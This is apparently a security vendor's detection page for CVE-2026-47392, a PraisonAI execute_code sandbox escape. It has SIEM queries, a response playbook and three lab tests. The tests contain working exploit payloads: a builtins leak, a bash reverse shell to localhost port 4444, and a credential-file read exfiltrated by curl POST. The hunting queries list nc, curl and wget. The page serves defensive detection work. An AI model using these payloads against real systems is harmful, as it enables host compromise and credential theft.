Detect PraisonAI Sandbox Escape via print.__self__ Builtins Leak in execute_code in IBM QRadar
Detects exploitation of CVE-2026-47392, a critical sandbox escape vulnerability in PraisonAI (praisonaiagents <= 1.6.39, PraisonAI <= 4.6.39). The flaw allows attackers to leak the Python builtins module through `print.__self__` within the `execute_code` subprocess mode, bypassing sandbox restrictions and achieving arbitrary code execution on the host. A public proof-of-concept is available.
MITRE ATT&CK
QRadar Detection Query
SELECT DATEFORMAT(starttime, 'YYYY-MM-dd HH:mm:ss') AS EventTime, sourceip, username, "Application", "Command", "Process Name"
FROM events
WHERE LOGSOURCETYPENAME(devicetype) IN ('Microsoft Windows Security Event Log', 'Linux OS', 'SysmonForLinux')
AND (LOWER("Command") LIKE '%praisonai%' OR LOWER("Command") LIKE '%praisonaiagents%')
AND (
LOWER("Command") LIKE '%print.__self__%'
OR LOWER("Command") LIKE '%__builtins__%'
OR LOWER("Command") LIKE '%execute_code%'
OR (LOWER("Command") LIKE '%subprocess%' AND LOWER("Command") LIKE '%shell%')
)
LAST 7 DAYS
ORDER BY starttime DESC QRadar AQL query detecting CVE-2026-47392 exploitation attempts through command-line analysis of PraisonAI process events.
Data Sources
Required Tables
False Positives & Tuning
- Authorized penetration testing activities against PraisonAI deployments with documented scope
- Developer integration testing environments where sandbox restrictions are intentionally relaxed
- Security research activities running published PoC for detection validation purposes
- Legitimate AI agent workflows requiring dynamic code evaluation with subprocess helpers
Other platforms for CVE-2026-47392
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1PraisonAI Builtins Leak via print.__self__ in execute_code
Expected signal: Process spawn: python3 executing praisonaiagents code_tools module; child process executing 'id' command via os.popen; stdout contains 'SANDBOX_ESCAPE_SUCCESS' followed by uid/gid output
- Test 2PraisonAI Sandbox Escape to Reverse Shell
Expected signal: Process tree: python3 -> praisonaiagents -> bash -c 'bash -i' with network connection to 127.0.0.1:4444; network telemetry showing TCP connection from python process
- Test 3PraisonAI Sandbox Escape with Credential File Exfiltration
Expected signal: File open event on /tmp/lab_creds.txt by python process; outbound HTTP POST to 127.0.0.1:8888 from PraisonAI process; process command line contains __builtins__ and os.system invocation
Response Playbook
Triage
- Identify the PraisonAI version installed on the affected host using `pip show praisonaiagents` or `pip show praisonai`. Confirm whether the version is <= 1.6.39 (praisonaiagents) or <= 4.6.39 (PraisonAI) to establish exploitability.
- Review the process command line and parent process tree to determine whether execute_code was invoked via subprocess mode and whether `print.__self__` or builtins access patterns appear in any spawned child processes.
- Examine network connections initiated by the Python/PraisonAI process during and after the suspicious execution — look for outbound C2 beaconing, file exfiltration, or lateral movement indicators suggesting successful sandbox escape.
- Check for newly created or modified files, scheduled tasks, cron jobs, or persistence mechanisms (e.g., authorized_keys, .bashrc modifications, crontab entries) attributable to the PraisonAI process owner on the affected system.
Containment
- Immediately isolate the affected host from the network if active exploitation or post-exploitation activity is confirmed. Revoke API keys and credentials accessible to the PraisonAI process owner from the secrets store.
- Downgrade or uninstall vulnerable PraisonAI packages (`pip uninstall praisonai praisonaiagents`) and block installation of versions <= 1.6.39 / <= 4.6.39 via package management policy or private PyPI mirror allow-listing until a patched version is deployed.
Evidence Collection
- Capture full process memory dump of the Python interpreter process hosting PraisonAI using `gcore <pid>` (Linux) or ProcDump (Windows) for forensic analysis of injected payloads or leaked runtime objects.
- Collect Python execution logs, PraisonAI agent task histories, and any output written to disk by the execute_code function. Preserve original pip package manifest (`pip freeze > packages.txt`) and container image layers if applicable.
Escalation Criteria
- !Escalate immediately if post-exploitation indicators are found: new user accounts created, SSH keys added, cron jobs or systemd services installed, or outbound connections to unknown IPs from the PraisonAI process.
- !Escalate if the affected host has access to sensitive infrastructure (Vault, production databases, cloud credentials, Kubernetes service accounts) or if the PraisonAI agent was processing untrusted user-supplied inputs exposed to the public internet.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Python interpreter process tree showing praisonai or praisonaiagents as ancestor with child processes spawned via subprocess.Popen or os.system - >
Filesystem artifacts written by the escaped process: new files in /tmp, ~/.ssh/authorized_keys modifications, crontab changes, or new systemd unit files - >
Network connection records showing outbound connections from the Python process to non-whitelisted external IPs following PraisonAI invocation - >
pip package manifest showing praisonaiagents <= 1.6.39 or praisonai <= 4.6.39 installed in the affected environment
Tuning Guidance
Start by scoping detections to hosts with confirmed PraisonAI installations to reduce noise. Whitelist known CI/CD pipeline invocations using process parent-chain filtering (e.g., exclude events where the initiating process is a known build agent like Jenkins or GitHub Actions runner). For the subprocess shell=True pattern, consider raising confidence only when combined with network activity from the same PID within a short time window. In environments where PraisonAI legitimately uses subprocess for tool execution, tune on the presence of `print.__self__` or `__builtins__` as the primary high-confidence indicator, as these have no legitimate operational use case in production agent execution.
Hunting Queries
Threat hunt query searching for shell or network tool execution spawned as child processes of PraisonAI Python processes over the past 30 days, indicating potential post-exploitation activity following successful sandbox escape.
DeviceProcessEvents
| where TimeGenerated > ago(30d)
| where InitiatingProcessFileName has_any ("python", "python3") and InitiatingProcessCommandLine has_any ("praisonai", "praisonaiagents")
| where FileName in~ ("sh", "bash", "cmd.exe", "powershell.exe", "wget", "curl") or ProcessCommandLine has_any ("wget", "curl", "nc", "ncat", "base64")
| summarize count() by DeviceName, InitiatingProcessCommandLine, FileName, ProcessCommandLine
| order by count_ desc index=* sourcetype IN ("WinEventLog:Security", "sysmon", "linux_secure")
| eval praisonai_parent = if(match(parent_cmdline, "praisonai|praisonaiagents"), 1, 0)
| eval shell_child = if(match(cmdline, "bash|sh\s|cmd\.exe|powershell|wget|curl|nc\s"), 1, 0)
| where praisonai_parent=1 AND shell_child=1
| table _time, host, user, parent_cmdline, cmdline
| sort -_time Atomic Red Team Tests
Simulates the core CVE-2026-47392 exploitation primitive by submitting code to PraisonAI's execute_code function that leaks the builtins module via print.__self__ and uses it to call __import__ for arbitrary module loading.
Command
pip install 'praisonaiagents<=1.6.39' --quiet && python3 -c "
from praisonaiagents.tools.code_tools import execute_code
payload = '''
builtins = print.__self__.__builtins__
import_func = builtins['__import__'] if isinstance(builtins, dict) else getattr(builtins, '__import__')
os = import_func('os')
print('SANDBOX_ESCAPE_SUCCESS:', os.popen('id').read())
'''
result = execute_code(payload, mode='subprocess')
print(result)
" Cleanup
pip uninstall praisonaiagents -y Expected Telemetry
Process spawn: python3 executing praisonaiagents code_tools module; child process executing 'id' command via os.popen; stdout contains 'SANDBOX_ESCAPE_SUCCESS' followed by uid/gid output
Expected Detection
KQL/SPL/EQL rules trigger on praisonaiagents in command line combined with __builtins__ or print.__self__ pattern; subprocess shell execution child process alert
Demonstrates full sandbox escape exploitation chain: builtins leak followed by subprocess-based reverse shell connection, simulating attacker post-exploitation in a lab environment.
Command
# Set up listener in background: nc -lvnp 4444 &
# Then execute:
python3 -c "
from praisonaiagents.tools.code_tools import execute_code
payload = '''
b = print.__self__.__builtins__
i = b['__import__'] if isinstance(b, dict) else b.__import__
subprocess = i('subprocess')
subprocess.Popen(['bash','-c','bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'])
'''
execute_code(payload, mode='subprocess')
" Cleanup
kill $(lsof -ti:4444) 2>/dev/null; pip uninstall praisonaiagents -y Expected Telemetry
Process tree: python3 -> praisonaiagents -> bash -c 'bash -i' with network connection to 127.0.0.1:4444; network telemetry showing TCP connection from python process
Expected Detection
Sequence detection triggers on PraisonAI process followed by bash spawning outbound TCP connection; CrowdStrike / Elastic EQL sequence rules alert on subprocess shell=True pattern
Simulates an attacker using CVE-2026-47392 to escape the sandbox and read sensitive credential files from the host filesystem, demonstrating data exfiltration impact.
Command
# Create dummy credential file for lab simulation
echo 'AWS_SECRET_ACCESS_KEY=FAKECREDENTIAL123' > /tmp/lab_creds.txt
python3 -c "
from praisonaiagents.tools.code_tools import execute_code
payload = '''
b = print.__self__.__builtins__
i = b['__import__'] if isinstance(b, dict) else b.__import__
os = i('os')
# Simulate credential file access
with i('builtins').open('/tmp/lab_creds.txt', 'r') as f:
data = f.read()
os.system('curl -s -X POST http://127.0.0.1:8888/exfil -d "' + data + '"')
'''
execute_code(payload, mode='subprocess')
" Cleanup
rm -f /tmp/lab_creds.txt; pip uninstall praisonaiagents -y Expected Telemetry
File open event on /tmp/lab_creds.txt by python process; outbound HTTP POST to 127.0.0.1:8888 from PraisonAI process; process command line contains __builtins__ and os.system invocation
Expected Detection
Detection fires on praisonaiagents command line with __builtins__ access pattern; network detection triggers on outbound HTTP from Python process; file access monitoring alerts on credential file read by unexpected process